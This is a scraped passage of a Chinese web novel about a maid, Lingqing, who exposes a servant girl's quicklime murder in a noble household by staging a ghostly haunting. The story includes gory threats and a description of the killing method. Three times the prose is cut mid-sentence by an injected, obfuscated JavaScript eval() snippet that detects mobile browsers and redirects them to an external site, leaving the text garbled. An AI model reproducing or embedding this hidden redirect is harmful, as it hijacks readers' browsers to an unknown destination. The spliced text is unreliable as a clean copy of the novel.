两个人又聊了一会,凝儿也又说了不少奇奇怪怪的事,只是都没有石灰之事令凌青动容。 片刻后,凌青告辞离去,却没有着急回到月露榭。 她需要整理一下自己的思路。 白姨娘要石灰,说是要修厢房,却没石瓦匠进府,显然是这石灰有别的用途。而那只名贵的步摇更是扑朔迷离。 这些线索看似没什么古怪,也毫无关联,但并不是完全串不起来。 只是她需要更多的证据。 白姨娘这个人她只见过一面,看得出是个八面玲珑的女子,善于周旋,表面老好人,但实则极会说话。要想从她身上入手,怕是不容易。 倒不如从她的儿子陆长卿那里找突破口 陆长卿,陆府的庶出长子,今年十九岁,已经娶妻。听说平日里最是不爱读书,只知道斗鸡走狗,妥妥一坨扶不上墙的烂泥。这样的人,或许更容易露出破绽。 她记得听人说过,陆府是有自己的学堂的,最近马上要小考,两位公子夜里都在学堂温书。 没有闲人打扰,那倒是个接近陆长卿的好去处。 她回去换了身深色衣裳,悄无声息地摸出了月露榭。 陆府很大,学堂在府中偏东的位置。幸而她之前将陆府的地形摸了清楚,整个路线图拓在脑海中,绕过几个拐角,很快就到了学堂附近。 远远地,便能看到房里灯火通明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956626|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 外面偌大的庭院并无仆役,门口也没人守候,静谧的有些过分。门上高高悬着“明德至善”的黑底金字匾额,两侧挂着一副对联,上面题字:读圣贤书明礼义,立君子品养浩然。 凌青小心翼翼地靠近,透过窗棂的缝隙往里看去。 只见陆砚修正坐在书桌前,对面是陆长卿。两人先是安静的看着书,过了一会儿,似乎都是累了,两个人不自觉的聊起天了。 “大哥,你最近倒是用功了不少。”陆砚修的声音传来,“往日里你最是坐不住,如今竟能安安静静地在书房待这么久。” 陆长卿闻言,神色间闪过一丝不自然:“二弟说笑了,我也不是不爱读书,只是……” “只是什么?” “只是以前读的都是些枯燥的经史子集,如今读的不一样。” 陆砚修来了兴趣:“哦?什么书能让大哥这般入迷?能否让弟弟也观摩观摩。” 陆长卿明显紧张起来,支支吾吾地不肯说。 “有什么不好说的?"陆砚修笑道,"难不成是什么见不得人的书?你不会偷偷看那种……禁书吧?” 说着,他便假意开玩笑的去抢,却不想陆长卿似乎被吓了一跳,哗啦一声踉跄站起,那怀中未合的书卷脱手翻落在桌上,那封面大敞开来,上面赫然是《千金验方》四个字。 “对不起啊大哥,我想不到你反应那么大……”陆砚修有些抱歉的扶住他,瞥了一眼那书:“不就是本医书吗,你这么紧张做甚,只是你什么时候对医术感兴趣了?” “就是...…就是觉得有用。”陆长卿的回答含糊不清,“男儿在世,多学些本事总是好的。” 他们后面说了什么话,凌青已经听不清了。 当她看到那本书名还有陆长卿的反应时,她就笃定,这其中必有问题。 只是她博览全书,只要读过的就全部印在脑中,偏偏这本,她未曾看过。 她瞬间想到了红袖,红袖的娘亲自从好病后,就又在主母林雪桐的院子里继续做活了,现在时不时的帮院里出府采买东西,若让她帮忙带本书,应当不是难事。 ——— 等待的日子实在难熬,凌青表面仍然如常的做事,心里却一直惦记着那本书。 终于,第三日,红袖将一个包袱悄悄递给她。 “书在里面,这书挺少见,我娘费了不少功夫才寻到。” 凌青感激道:“谢谢你和你娘,这个人情我记着。” 红袖不满道:“姐姐怎么和我还如此见外!我娘的命是你救的,帮你买本书再应该不过了。” 凌青匆匆告别红袖,回到房中,迫不及待打开包袱,一本厚重的线装书出现在眼前,封面上“千金验方”四个字写得端正工整。正是那本书。 她开始一页一页快速翻阅,但每页内容都一字不漏地记入脑中。 这本书记载得极为详尽,从寻常的头疼脑热到各种疑难杂症都有涉及,确实是本不可多得的医学典籍。 她一边看一边想,陆长卿为什么会对这样的书感兴趣? 难道真的是她想多了,陆长卿单纯就是想学医术? 不,不可能,那石灰呢,没有这般凑巧的事,她相信自己的直觉,这本书必定有问题。 再往后翻,她的手忽然停住了。 那一页最上面赫然写着一行字,让她呼吸骤然凝滞,胸口如同压了一块寒冰,冷意顺着脊背窜上来。 “石灰罨死录。” “石灰者,金石之魄,遇水则沸,其性大热而毒烈。凡以生灰罨人,初覆口鼻,则呛咳不止,喉中如灼;待灰气入肺,则胸膈如煎,血络贲张,七窍皆赤。其人必抓喉辗转,指甲尽裂而不得息,约半刻而绝。” 书中详细记载了生石灰灼伤的症状和治疗方法,但在最后一段,却提到了一个让人毛骨悚然的内容——有一种酷刑,名为“石灰罨死之刑”,就是将人活埋在石灰中。石灰遇水生热,可使人窒息而亡,过程极其痛苦。 她死死盯着那几行字,耳边嗡嗡作响,字如晴天霹雳般劈在头顶,她只觉得血液瞬间凝固,整个世界都在这一刻天旋地转。 书页从她颤抖的指间滑落,“啪”地一声重重摔在地上,发出刺耳的响声。 “不..….不可能…...” 她又想起叶清涟那永远灿烂、热烈的样子,这样好的人、这样爱她的人,若是被这样残忍的手段……… 她的身体不受控制地剧烈颤抖,仿佛要将五脏六腑都震碎。可她浑然不觉。脸色惨白如纸,双唇不停地颤抖着,眼中满是恐惧和绝望。 “姐姐,姐姐………” 不,这不是真的! 不知过了多久,凌青缓缓抬起头,神情已经变得异常冷静,仿佛刚才的绝望只是错觉。 就算所有的证据都指明,白姨娘和陆长卿母子害死了一个人,但这个人不一定就是姐姐。 她深深地吸了一口气,又一口,让自己的心跳渐渐平稳下来。手掌紧紧攥成拳头,指甲深深嵌入掌心,刺骨的疼痛让她重新找回理智。 她等不及了,她必须要立即知道真相。 想要知道真相,那她只能亲自去问陆长卿了。 11. 冤魂 半夜三更 下人房此时空无一人,凌青坐在房里的铜镜前,面无表情的端详着镜中人的脸。 看了一会儿,她取出胭脂,与黄泥调和,对着镜子,用竹签蘸上一点,轻轻在脸颊、额头密密点出麻点,每一点都深浅不一,参差错落。 很快,那张清丽无瑕的脸蛋就变得全是麻子和皱纹。她又将自己头发散开重束,束成妇人样子。 镜中人面目全非,便是熟人也认不出。 她算准时辰,陆长卿每日申时从学堂回来,去白姨娘那用饭,必经学堂后院石径。 她要给陆长卿一点……小小的刺激。 夕阳斜照,陆长卿果然如她预想的一样,抱着几本书行学堂归来,看着吊儿郎当的,脚步轻快,完全没有前几日的不安。 凌青冷冷地在角落里看着,眼神里全是森意。 一步…两步…三步……算准时机,她一下子从拐角冲出去。 “哐当——”两人撞个结实,书册散落一地,厚厚册子在青石上发出窸窣声响。 “你瞎眼了!”陆长卿怒火中烧,见个是满脸麻子的丑妇,更觉恶心,“找死的东西!滚开!” 凌青跪在地上,将嗓子压到最低:“公子赎罪,老奴该死,老奴该死!” 陆长卿弯腰收拾书册,嘴里骂骂咧咧。那地上的人依然跪着,只是听着,不再说话。 这份安静让陆长卿觉得奇怪。他抬头看去,只见那丑妇依然跪着,但神情变得古怪起来——她的眼珠子不再看他,而是直勾勾地盯着他身后的什么地方。 那眼神空洞洞的,像死鱼一般无神,却又透着一种说不出的专注,仿佛在看什么极其重要的东西。 陆长卿不由顺着她的目光回头望去。 身后只有夕阳西下的庭院,柳枝摇摆,影子斑驳,什么都没有。 他忽然感觉有些毛骨悚然,不由大骂道:“该死的,你在看什么?” 可那丑妇依然保持着那个姿势,直勾勾地盯着后面。她的嘴唇微微张开,像是想说什么,却又咽了回去。 良久,她才开口,声音轻得像蚊蝇:“跟着......” “什么跟着?”陆长卿皱眉。 丑妇缓缓抬起头,那双呆滞的眼睛看向陆长卿,眼神更是空洞,仿佛透过他在看别的东西:“一直......一直跟着呢......” 她的声音飘飘忽忽,带着一种诡异的节拍,每个字都拖得很长。 陆长卿心中升起一丝不安,但强装镇定,大喝道:“胡说什么!信不信我将你赶出府去!” 她还是没有回答,反而歪着头,像是在侧耳倾听什么。她的表情变得越来越专注,仿佛听到了什么只有她能听见的声音。 “她在哭......”她喃喃自语,“一直在哭......” 她忽然颤抖起来,像是感受到了什么寒意。明明是春末的黄昏,气候温和,她却瑟瑟发抖。 “好憋啊......”她的声音越来越飘忽,“憋的好难受啊,救救她……” “什么……什么憋?”陆长卿刚刚还强装气势,可听到这句话,立即身子软了下来,声音有些发颤。 老妇的眼神更加涣散了,仿佛看见了什么可怕的景象:“嘴巴张着......一直张着......想喘气......” 她忽然开始做出奇怪的动作,张大嘴巴,拼命地吸气,像是溺水的人想要呼吸。那动作明明该是滑稽的,但现在看起来却只有恐怖。 陆长卿感到一阵毛骨悚然的寒意爬上脊梁,他控制不住的后退两步,想要离开。 就在他准备离开时,老妇忽然又开口了,声音如同从极远的地方传来:“还在咳......” 陆长卿脸色煞白,他不想回头,可却又如同被人控制了一般,忍不住回头望去。 老妇缓缓站起身,动作僵硬得像个木偶。她忽然开始剧烈地咳嗽,那咳嗽声干涩刺耳,像是喉咙里卡着什么东西咳不出来。 “咳......咳......咳不出来......”她一边咳一边说话,“嗓子眼儿里......都是......” 说完,她竟想开始抠嗓子眼。 陆长卿被吓的呆立在原地,他开始颤颤巍巍地将手伸向包袱,竟从里拿出几张符纸。 “我告诉你,你别装神弄鬼,我,我带着符纸呢,恶鬼靠不了身!” “真的么?”老妇沙哑的声音越发诡异,“那为什么,她说......她说嗓子眼儿都糊住了......” 陆长卿忍不住又回头看了一眼,依然什么都没有。但这次,他感到了一阵说不出的恶寒,仿佛真的有什么东西在他身后。 “胡说八道!”他厉声呵斥,手里紧紧抓着符纸,转身就走。 “她说......她还会来的......”那老妇的声音越来越远,像是在逐渐消失,“每天夜里......都会来......” 陆长卿打了个寒颤,再也不敢停留,匆忙逃离了学堂。 直到走远了,他还能感觉到背后有什么东西在盯着他。 死死的,盯着他。 —————— 陆长卿这几日很是不好过。 自从上次撞见那疯婆子,他就心神不安,他让姨娘打听了府里的粗使婆子们,却没一个脸上带着麻子的。 进府送东西的人里,也没有这样一个丑陋老妇。 这人简直就像……凭空出现的一样。 他近几日越发喜怒无常,多疑敏感,稍微有点动静就能吓得他一哆嗦。甚至今日读书,因为陆砚修在后面拍了他一下,他就直接吓得直接跳起来,反应过来后当即与陆砚修大吵一架,为此还被父亲责骂。 该死,他明明按照姨娘所说的做的,按理说不会出错,为保万一,他还随身带着大师画的符纸,怎么还会出现这档子事呢。 他这几天除了白日去念书,夜里去妻子屋里歇息,其他时候哪都不敢去。 这天,他实在忍不住了,夜里趁妻子睡着,便偷偷起来喝了点酒。 独自一人喝完一瓶闷酒,那心神不定的感觉似乎下去了些,可他紧接着感觉膀胱有些胀,而且愈发憋的慌。 他看了眼外面,黑的伸手不见五指。 他又看了一眼床上的妻子,睡得正香。 想要忍到明天早上,却越想越忍不住。此时是后半夜,院里的下人也去睡了,没办法,他只能独自去。 陆长卿强壮起胆子,将那几张符纸带上,出门去上茅厕。 直到上完茅厕,果然什么事也没发生。他长呼一口气,果然是自己想多了,那恶鬼早被他封住了,哪还有机会来缠着他。 他放心了,吹着口哨,慢慢悠悠准备回去。 刚走出茅厕,他忽然听到院墙外传来细微的声响。 他不由探头往外看去,月光下,院外小径上似乎有个影子一闪而过。 这深更半夜的,谁会在外面游荡? 不会是府里进了小偷吧,该死的,那些当值的家丁是干什么吃的,竟连这都不管。 他喝了酒,本就一阵阵的糊涂,现在也确信了厉鬼被封印,自己还身带符纸,全然忘了刚才有多害怕,只想着看看那小贼是谁。 他晃晃悠悠地翻身爬上院墙,想看个究竟。刚跳下墙头,脚下就踢到一个硬物。 他走近,定睛一看,是一支破损的步摇。 这步摇………好生熟悉啊。 当他反应过来时,瞬间脸色煞白。 那是……那是他亲手送给那女人的步摇,上面破损的痕迹还是那女人挣扎下弄的,就是那根步摇!为什么会出现这里!他分明扔掉了! 一阵阴风骤起,刚才那个影子已经不见踪迹。四周漆黑如墨,只余月光惨白。 静,很静,是一片死寂。 “咔嚓......” 远处传来细微的断裂声,像骨头折断。陆长卿浑身一颤:“谁在那里?” 寂静回应着他。 陆长卿感觉自己马上就要晕倒了,但他仍强壮胆,大喊道:“有人没人!” 还是没有声音。 听错了,可能是听错了,他现在真是胆小了,一惊一乍都能吓成这样。 正当他想赶紧回去时,他闻到了一股味道。 浓重的血腥味,腥臭刺鼻。 “呜......呜......” 有一阵哭声似乎从地底传来,凄厉悠长,带着无尽怨恨:“冷......好冷......疼......好疼......” 陆长卿呆住了,他的双腿如同钉在原地一样,他的恐惧到达了极限,他只能木然的看着地面,地面缓缓冒出白烟,石灰的刺鼻味道扑面而来。烟雾中人影摇摆,模糊不清。 “啪嗒......” 头顶滴血,暗红液体一滴滴落下。 陆长卿终于瘫软在地,恐惧攫住了他的心脏。 白烟中走出一个身影——全身裹白布的女人,步履僵硬,脸色死白,眼眶流血。 “嘎......嘎......” 她喉咙发出挣扎声,空洞的眼神盯着陆长卿。 “不………不……”陆长卿想大喊,但他的喉咙却如同哑了一般,只能发出几声呜咽。 女鬼慢慢靠近,张嘴流血,声音飘忽:“冷......疼......为什么......” “石灰......”女鬼的声音空洞怨毒,“灌进嘴里......堵住喉咙......” 她忽然张大嘴巴,拼命地吸气,那动作绝望而恐怖:“想......想呼吸..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956627|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .呼不上来......” 陆长卿已经麻木了,他感觉脸上有了湿热,后知后觉,他才知道自己已经被吓哭了。 他反应过来,手脚并用的向后爬,用颤抖的手掏出符纸向前扔去,却丝毫没用。 他彻底绝望了。 女鬼发出了诡异的咯咯笑声,头颅诡异地歪向一边:“嘻嘻……没关系……没关系……有你来陪我……只要把你吃掉……就可以了。” “我要咬断你的手指头......咔嚓咔嚓,一根根嚼碎......听到骨头断裂的声音了吗………” 那声音变得越发粘腻恶心:“然后撕开你的肚皮......掏出那些热乎乎、湿漉漉的东西......我要一口一口吃掉,我会一边吃一边欣赏的,就像你看着石灰灌入我喉咙一样......” “最后......嘻嘻......把你的眼珠子挖出来......软软的,滑滑的......我要含在嘴里慢慢品尝......” 陆长卿终于彻底崩溃了,疯狂地大喊:“不要!阿翠!我错了!你饶了我吧!” 他跪下不住磕头:“求求你,放过我!求求你!” “那你……将事情原原本本的说出来!”女鬼厉声尖叫。 他跪着哭着喊道:“我说!我都说!只要你别杀我!” “我听说石灰不仅能毁尸灭迹,让人看起来像病死的,还能封印住你的七魂六魄,让你永世不得找我复仇,所以......所以我往你嘴里灌了石灰!是我害死了你!是我看着你活活憋死,直到没气!都是我该死!” 就在这时,外面传来急促的脚步声,几个家丁听到喊声赶了过来。 女鬼瞬间消失无踪,只留下陆长卿还在疯狂地大喊着:“阿翠!是我当初强要了你,让你怀上我的孩子,你威胁要告诉我爹你怀了孩子,我迫不得已才......我只想让你闭嘴,可你要逃跑!我一时糊涂下了狠手!是我杀了你!是我用石灰活活弄死了你!我该死!我该死!我该死!” “可我是真心爱你的啊!那只步摇,还是我命人偷出来送给你的,我这么爱你,我让你一个丫鬟怀上孩子,你老老实实生下,听我的话,就没事了,可你偏偏这么倔!无论我怎么讨好你,你还是要告诉我爹,你让我怎么办!” 家丁们面面相觑,震惊地听着陆长卿发疯一样亲口招供的罪行,个个不敢置信。 很快,老夫人与林雪桐就闻讯赶来,这事已经彻底瞒不住了。 “阿翠,我知道这姑娘,浣洗房的,漂亮又能干,前些时间病死在自己屋里,大家也没当回事。” “我也奇怪,她身体一向不错,怎么忽然病死了,竟是被这样狠毒的计谋活生生闷死的………” 老夫人的拐杖在地上狠狠一驻:“都住口!今夜的事谁要是传出去,直接乱棍打死!” 凌青亲眼看着还在发疯念叨的陆长卿被拖走,这才悄悄拿着东西回房。 她褪去身上的白布和面具,擦去脸上的白粉和猪血。 摊开手心,一根透明的鱼线若隐若现,鱼线那一段,连着几个竹筒。她事先将几节竹筒挖空连接,制成一个简陋的传声筒,藏在不同位置,用鱼线连着。 通过这几个竹筒,她的声音变得回音重重,听起来忽远忽近,分外诡异阴森。其实这个招数并不高明,稍微大胆之人多听听就能听出端倪,可偏偏陆长卿本就心虚胆怯,听到这种诡异的声音更是以为真有鬼魂索命。 还有树上悬挂的滴血囊袋,是猪肠衣所做,里面装上了猪血,用一根长竹竿轻轻戳破血囊,便可产生血液滴落的效果。 除非当夜查看,否则这东西一定会被秃鹫那些鸟类叼了去,自然是无可查证。 她将这些东西收拾好,准备明日一早拿去茶药间烧掉,这样不留下一丝祸患。 今日的事,让她内心越发复杂,喜忧参半。 喜的是,去世的不是姐姐,那姐姐或许还在哪个地方活着。忧的是,现在为止,她所做的全是无用功,姐姐还是毫无任何线索。 只是,也不能说完全没用。 阿翠,这个倔强、能干、有骨气的女孩子,以这样的方式不明不白死去,她这几日的一番努力,好歹让真相浮出水面,好歹让这个女孩子能在九泉之下得到一丝安慰。 但………这个最该死的人,陆长卿,和他背后协助的白姨娘,真的能得到应有的惩罚吗? 凌青睡前,不由看了一眼窗外。 远处的主院在夜色中显得格外诡异,重重叠叠的屋檐如同匍匐的巨兽,投下层层黑影。到处都是漆黑一片,仿佛一张张开的巨口,要将一切吞噬殆尽。 除了阿翠,还有多少冤魂在这深宅大院中游荡? 她总觉得,此事只是一个微末的涟漪,陆府,或许隐藏着更大的秘密。 12. 疗伤 凌青站在库房外的廊下,听着远处院落里传来的断断续续的哭声和辩解声,嘴角没有丝毫表情。 凝儿端着阿胶走出来,也听见了这声音,不由叹了一口气:“你说说我这张嘴,之前只觉得我这张嘴呱噪,现在都成了乌鸦嘴了。前几天刚和你讲了石灰的事,现在就直接变成命案了。” “做过的,就瞒不住。”凌青淡淡道。 凝儿吓了一跳,连忙腾出一只手,上前捂着她的嘴,左看右看无人在附近,才道:“你啊你,我还说你伶俐呢,你有多大的胆子敢这样说主子啊。” “姐姐不必担心,当下无人,没有人能听见。” 凝儿虽有些怕老夫人的禁令,但憋了半天实在憋不住,还是忍不住道:“其实………老爷也知道了这件事,当即就说要把大公子扭送到官府去……” “可还是没送。” “那是被老夫人和夫人拦下了,说不能损了陆府的清望,否则阖府颜面往哪搁。但咱们老爷一直高风亮节,说不能这么轻易放过,要亲手对大公子施以鞭刑,以示惩戒。” 凌青缓缓转过头,那双向来冷静的眸子里闪过一丝寒光,透着彻骨的冷意。 “鞭刑?”她轻声重复着这两个字,语调平淡得听不出任何情绪,“就这样?” 凝儿点点头,又补充道:“听说白姨娘还在那里哭得梨花带雨的,说什么自己教子不善,愧对老爷和夫人。虽说石灰是她身边的人领的,但大公子把所有事都担了下来,说与白姨娘无关。所以……白姨娘也没什么事。” 真是感人的母子情啊,直接把幕后的帮凶美化成了一个教子不善的愚蠢女人。 她的目光望向远处那座雕梁画栋的院落,刚才喧闹的声音似乎渐渐平静了。 她有想过白姨娘和陆长卿不会受太重责罚,却没想到会是如此轻易敷衍。 她之前没考虑到,陆府男丁稀少,老夫人是舍不得真的处置陆长卿的。所以由家主鞭打几下,再关个禁闭,不许再去看白姨娘,过上几日事情彻底平息了,再放出来,一切都还是原样。 那一条人命,卑微如草芥,轻飘飘的,在这些高门贵族心里激不起一丝波澜。 凝儿见凌青脸色越来越冷,忍不住轻声道:“虽说这惩罚轻了些,可好歹让那姑娘九泉安息,至于……大公子……府里上下都知道了他的真面目。” 远远不够。凌青心想,都说这陆大人是当朝文人之首,满口的仁义道德。在她看来,纵容禽兽之人,和禽兽没有分别。 她现在身份低微,保不了自己也顾不了别人。但等有朝一日,当她找到姐姐,和姐姐离开此地时,定要将这事捅出去,闹大,让陆长卿得到应有的惩罚。 正思索着,她一回头,却看到凝儿有些古怪的神色。 凌青知道自己反应有些过于大了,她平复了一下心情,缓缓道:“我只是有些同情那位阿翠姑娘,没什么别的,姐姐,我先走了。” 她接过备好在药篮里的阿胶,沿着府里的石径慢慢向回走。 还没走几步,凌青就看到前方不远处走来一个熟悉的身影,是渚碧。 凌青看见她只想避远点,渚碧那经常莫名其妙的恶意,让她觉得晦气。 只是渚碧平日里最是张扬,走路也是不疾不徐的,今日却显得有些匆忙,还低着头。她手里提着个精致的食盒,神色间带着几分紧张。 凌青放慢了脚步,远远地跟在后面。 只见渚碧走到一处拐角,正好遇上迎面走来的五小姐陆屏的奶嬷嬷。那嬷嬷姓白,在府里也是个有些地位的,平日里颇受五小姐信任。 五小姐陆屏,是府里一位不受宠的姨娘所出,所以陆屏虽是最小的孩子,却也跟着不受宠。但她一向与三小姐陆皎交好,是陆皎的小跟班。 但渚碧怎么会和陆屏的人怎有交集呢。 “白嬷嬷。”渚碧快步迎上去,脸上堆起恭敬的笑容,“这是我家小姐特意为五小姐准备的补品,说五小姐最近气色不太好,让奴婢送些好东西过去。” 说着,渚碧打开食盒,从里面拿出一个精致的匣子。凌青眼尖,看出那是装血燕的匣子。血燕可是珍贵补品,就连二小姐平日里也不常吃,没想到竟舍得送给五小姐。 白嬷嬷满脸笑容地接过食盒:“二小姐真是有心了,我替我们小姐谢过二小姐的好意。” 可能是因为太过匆忙,渚碧在递食盒的时候手有些抖,竟然没拿稳。食盒的两层“啪”地一声掉在了地上,里面的东西散落一地。 “哎呀!”渚碧脸色大变,连忙蹲下去捡拾。 凌青站在不远处,无意间看了看散落的东西。除了那匣血燕,第二层里好像还掉落下什么东西,只是渚碧拾得太快,她没看清楚。 她总感觉奇奇怪怪的,但到底这事不干她的事,所以她直接绕过两个人,面无表情的跟渚碧打了个招呼:“渚碧姐姐。” 渚碧猛地抬起头,看着凌青,手上动作更加慌乱了:“你?你怎么在这?” “我来库房领点东西。” “那你刚才跟在我后面?”渚碧神色忽然变得极其难看,说是完全愤怒也不像,其中又夹杂着心虚:“你是不是一直跟在我后面!” 凌青:“………” 就算有疯狗症也不能乱出来咬人啊,这样的人也能当上贴身侍婢。怪不得陆沁脾气那么好,恐怕是被这恶仆磨的。 “我刚才走神了,没注意,到跟前了才发现是你。我还要回去给小姐炖阿胶,先走一步了。” 她可不想和渚碧这样的人再墨迹,所以不顾渚碧什么反应,直接回去了。 回到月露榭,院子里静悄悄的。凌青正要回茶药间,忽然听到有人叫她。 “凌青,凌青!” 她回头一看,是谷翠。 谷翠四下看了看,才轻声道:“你快拿些处理伤口的药过来,要快。” 凌青心中一紧,难道是二小姐受伤了?但她没有多问,赶忙回房拿了金疮药、止血的药粉,还有干净的纱布,跟着谷翠往院子后面走去。 月露榭的后院有几间平时不太用的厢房,谷翠领着凌青到了其中一间,轻轻推开门。 “小姐,凌青来了。”谷翠压低声音道。 凌青跟着走进房间,刚一抬头,心中便“咯噔”一下。 房中的人的确是陆沁,但她是站在一旁的,坐在那里受了伤的人,竟是那个矫揉造作的玩意———逄楚之。 他此时斜靠在软榻上,外袍已褪至腰际,漏出线条悍利的上身,肌理分明,坚实的胸膛一路向下收束至劲窄的腰腹,这身材,与他那秾丽又明艳的面容极其不符。 他的左边臂膀上,有一道不深不浅的伤口,皮肉翻卷,血迹斑驳。 看到凌青进来,逄楚之原本有些苍白的脸上立刻露出了一丝意味深长的笑容,那双桃花眼中闪过一道笑意。 凌青不想看他的身材,更不想看他的眼睛,她默不作声的把哪来的药放在桌子上。 陆沁站在一边,神色有些焦急:“楚之,你到底如何搞成这样的,问你也不说,不肯回家,我叫府医你也不行,偏偏要喊凌青来。我虽相信凌青医术,但这条件毕竟有限,你这样重的伤,还是得找人来看看。” 她一向温柔,此时说话带着几分怒意,显然是真为逄楚之着急了。 逄楚之做出一副委屈巴巴的模样:“阿姐,你别念叨了,我就是不想回去,在家没有在这有意思。” “那你总得让我给你请个大夫吧?” “我不要,那些老头子大夫,手脚都粗重的很,还糙,我不爱让别人碰我。” 事逼,你一个大男人还嫌人糙,这是娇惯成什么样了,就没见过这么娇气的男人。凌青在心里骂道。 “这………”陆沁还在犹豫。 “没什么可担心的,阿姐。”他不经意地看向凌青:“凌青姑娘医术精湛,手法也定然比旁人………温柔。” 凌青根本不与他对视,木木地站着。 他事先给她埋好坑,先夸她医术好,又温柔,那她等会但凡出什么差错都不行了。 想逼着她乖乖顺从的给他疗伤? 门都没有。 她定会让他知道,自己打从出生起,就没学过“顺从”二字。 “奴婢来给您看看。”凌青面无表情地上前查看逄楚之的伤势。 那伤口看起来像是刀伤,大约有三寸长,幸好不是太深,并未见骨。伤口周围的血已经凝固了,看起来应该是两三个时辰之前受的伤。 凌青的手碰触到他肌肤的瞬间,逄楚之微微一僵,随即唇角勾起一抹若有似无的笑意。 “辛苦你了,姐姐。”他轻声道,声音里却带着点若有若无的缠绵:“我现在一定很难看吧。” “怎么会,逄公子这般容貌啊,受伤了也是个病美人。”谷翠像逗小孩一样,在旁边打趣道。 陆沁笑了:“是,楚之从小就长得好看。小的时候,他老被当成女孩子,夸他大了以后定倾国倾城。” 逄楚之眨了眨眼,又看向凌青:“姐姐也觉得我好看吗?” 好不好看是建立在评价人的基础上,如果连人都不算,那自然是没有评价的必要了。凌青连眼皮都没抬一下,又开始装聋。 她拿来水盆给这人清洗伤口,一边清洗一边给自己洗脑:这不过是块猪皮,我正在准备红烧猪皮的食材,所以要仔细清洗。猪皮需要刮去多余的油脂,清理干净才能做出美味的菜肴……… 她用温水把伤口周围的血渍清洗干净,然后拿起药粉开始撒在伤口上。清理伤口的时候,她故意加重了手上的力道。 “嘶——”逄楚之疼得倒吸一口凉气,眉头紧皱,眼泪都快掉下来了。 这声音把凌青听爽了,如果可以,她希望能多听几次。 逄楚之抬起眸子,水光盈盈地凝着委屈:“姐姐,你是不是在故意报复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就好像自己是台子上的戏子,而他是座下看客,虽是脸带笑意,心底却是在毫无感情的评判着她。 “奴婢没听说过此事,怕是您听错了。” “哦?”逄楚之拖长了声调,声音里闪过一丝狡黠,“我还以为,姐姐会很高兴呢。毕竟...…” 他故意停顿了一下,然后压低声音道:“那种败坏门风的畜生得到报应,对你来说,是件好事吧?” 凌青又心中一紧。 他怎么又知道了!他知道了多少?还是纯粹试探她? 要不是她只是个小小丫鬟,她简直要怀疑逄楚之特意在她身边安插了眼线,否则他怎么能处处了如指掌? 她将手中的纱布收起,站起来:“已经包扎好了,奴婢告退。” “等等,姐姐,你又生气了?”逄楚之突然开口,声音里没有了刚才的撒娇,反而带着几分认真。 凌青停下脚步,冷冷地看着他。 逄楚之慢慢坐起身来,整理了一下敞开的衣裳,动作慢条斯理却从容矜贵,他那副表情也收了回去,不笑的时候竟有些冷,仿佛刚才疼出来的眼泪全都是假的。 凌青受不了他这磨磨叽叽的行为:“还有何事?” 逄楚之缓缓站起身来,虽然左肩受伤,但他的姿态依然放松。他走到凌青面前,两人之间只隔了一步的距离。 “姐姐,”他俯下身子,“我知道你一直怀疑我的用心,但我只想告诉你,我真的没有恶意。” 凌青面无表情:“哦?” “你看,你还是对我有成见。你觉得我心怀不轨,可你这么聪明,我能图你什么呢?我真的只是感觉你很亲切,你让我想起一个故人,所以我才总想忍不住的靠近你。” 凌青仍然那样看着他。 看凌青不说话,逄楚之唇角勾起一抹似笑非笑的弧度,他伸出手,竟然直接握住了凌青的手腕。 他的手指很凉,力道却很大,凌青想要挣脱,却发现他的手劲出奇的强。 “那个人,是对我很重要的人,但我亏欠了她,可她早已不在人世。你真的很像她,我现在看到你,只想帮你做一切你想做的,我不要求你信任我,我只想我们能成为朋友。” 他的眼神似乎很是悲伤,声音里掺着一丝若有若无的叹息。 凌青定定的看着他,忽然笑了。 她一贯是冷的,是终年不化的积雪。可这突然的一笑,竟如霜雪消融,春水初生,清冷里透出一抹惊心动魄的生机。 果然,雪融时的光华,可比艳阳目眩神迷多了。 逄楚之以为她信了,脸上留出更温柔的笑意,等待她说下文。 果然,凌青缓缓开口了。 她轻声道:“你亏欠她,想还给她?” “那就———” “去地下亲自还给她。” 逄楚之愣住了,抓着她手腕的手不由放松。 凌青猛地用力挣脱,转身就走。 刚刚她与逄楚之对视的瞬间,就看透了他的神情,全是装的,话也全是谎言,什么故人,什么亏欠,大概全都是他临时乱编的。 她真诚希望这种一次次把她当傻子的人,赶紧滚得远远的。 13. 抄家 春日午后,陆府后院一片静谧。 凌青拿着药篮子,走回月露榭。路过花圃时,她的脚步微微一顿,余光扫向那片绿意盎然的花丛。 “是你?” 正当她出神时,身后忽然传来一个清脆的声音。 凌青转身,看到一个意外的面孔———容色明艳的灼人,一双凤眼熠熠生辉,见一眼就忘不掉。正是之前见过的,萧姨娘的女儿,四小姐陆微。 “四小姐。”凌青行礼,她有些意外,这姑娘竟然还记得她。 陆微那双漂亮的眼睛在她身上来回打量、过了许久才开口:“听说你做到茶药间管事了?” “是。” “挺厉害啊,可惜当初我没把你要到我身边。” 这四小姐性子真够直接的,说话也毒辣,难怪她刚入府的那一天,这陆微能和陆皎掐的死去活来。 她原以为陆微只是看着她顺便说句话,却没想到陆微站这不走了,死死盯着她手中的药篮子。 陆微皱起眉:“这是要给二姐煎的药?” 